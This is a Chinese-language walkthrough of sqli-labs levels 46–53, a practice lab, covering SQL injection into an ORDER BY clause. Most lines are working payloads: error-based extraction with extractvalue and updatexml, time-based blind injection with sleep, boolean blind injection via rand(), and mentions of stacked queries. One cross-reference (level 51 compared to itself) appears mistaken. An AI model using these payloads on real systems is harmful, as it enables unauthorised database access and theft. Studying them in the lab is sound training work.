sqli-labs level46-53 order by注入
第四十六关
order by注入
注入点语句:$sql = "SELECT * FROM users ORDER BY $id";
这次的id在order by后面,用报错或者盲注都可以。报错和之前的报错注入写法一样。
数据库:?sort=1 and extractvalue(1,concat(0x7e,(select database()),0x7e)) --+
数据表:
?sort=1 and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database()),0x7e),1) --+
第四十七关
和46关做法一样,单引号闭合。
第四十八关
order by注入,盲注,整数型。
?sort=1 and 1=1 --+
?sort=1 and 1=2 --+
两个返回的页面一样,好像不能布尔盲注,我在网上看了一下发现可以用rand进行布尔盲注。
?sort=1 and sleep(3) --+
页面会有延时,可以使用时间盲注。
时间盲注:
数据库长度:?sort=1 and if((length((select database()))=8),sleep(3),0) --+
猜数据库名:?sort=1 and if((substr((select database()),1,1))='s',sleep(3),0) --+
布尔盲注:
?sort=rand(true) --+
返回true页面:
?sort=rand(false) --+
返回false页面:
数据表长度:
?sort=rand(length((select table_name from information_schema.tables where table_schema=database() limit 0,1))=6) --+
猜数据表名:
?sort=rand(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1)='e') --+
第四十九关
和48关一样也是盲注,单引号闭合就行了,可以时间盲注。
也可以导入导出文件注入,但是我没成功。
第五十关
和46关思路一样,整数型。加了mysqli_multi_query()函数,还可以进行堆叠注入。
第五十一关
和51关思路一样,单引号闭合,报错、盲注、堆叠都可以。
第五十二关
和48关一样,整数型,盲注或堆叠。
第五十三关
和49关一样,单引号闭合,时间盲注或堆叠。